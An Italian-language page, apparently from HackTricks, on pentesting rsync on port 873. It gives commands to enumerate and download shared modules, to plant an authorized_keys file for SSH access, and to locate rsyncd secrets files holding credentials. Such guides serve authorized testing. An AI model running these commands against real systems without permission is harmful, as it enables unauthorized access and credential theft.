873 - Pentesting Rsync

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Da wikipedia:

rsync è un'utilità per il trasferimento e la sincronizzazione efficiente di file tra un computer e un hard disk esterno e tra computer in rete, confrontando i tempi di modifica e le dimensioni dei file.[3] È comunemente presente nei sistemi operativi di tipo Unix-like. L'algoritmo rsync è un tipo di delta encoding e viene utilizzato per ridurre l'utilizzo della rete. Zlib può essere utilizzato per la compressione dei dati,[3] e SSH o stunnel possono essere utilizzati per la sicurezza.

Porta predefinita: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumerazione

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerazione delle cartelle condivise

I moduli Rsync sono riconosciuti come condivisioni di directory che potrebbero essere protette da password. Per identificare i moduli disponibili e verificare se richiedono password, vengono utilizzati i seguenti comandi:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Fai attenzione che alcune condivisioni potrebbero non apparire nell'elenco, nascondendole eventualmente. Inoltre, l'accesso a alcune condivisioni potrebbe essere limitato a specifiche credenziali, come indicato da un messaggio di "Accesso negato".

Utilizzo manuale di Rsync

Dopo aver ottenuto un elenco dei moduli, le azioni dipendono dal fatto che sia necessaria l'autenticazione. Senza autenticazione, è possibile elencare e copiare i file da una cartella condivisa a una directory locale tramite:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Questo processo trasferisce in modo ricorsivo i file, preservando i loro attributi e permessi.

Con le credenziali, è possibile elencare e scaricare da una cartella condivisa nel seguente modo, dove verrà visualizzata una richiesta di password:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Per caricare contenuti, come ad esempio un file authorized_keys per l'accesso, utilizzare:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Per individuare il file di configurazione di rsyncd, eseguire:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

All'interno di questo file, un parametro secrets file potrebbe puntare a un file contenente nomi utente e password per l'autenticazione rsyncd.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated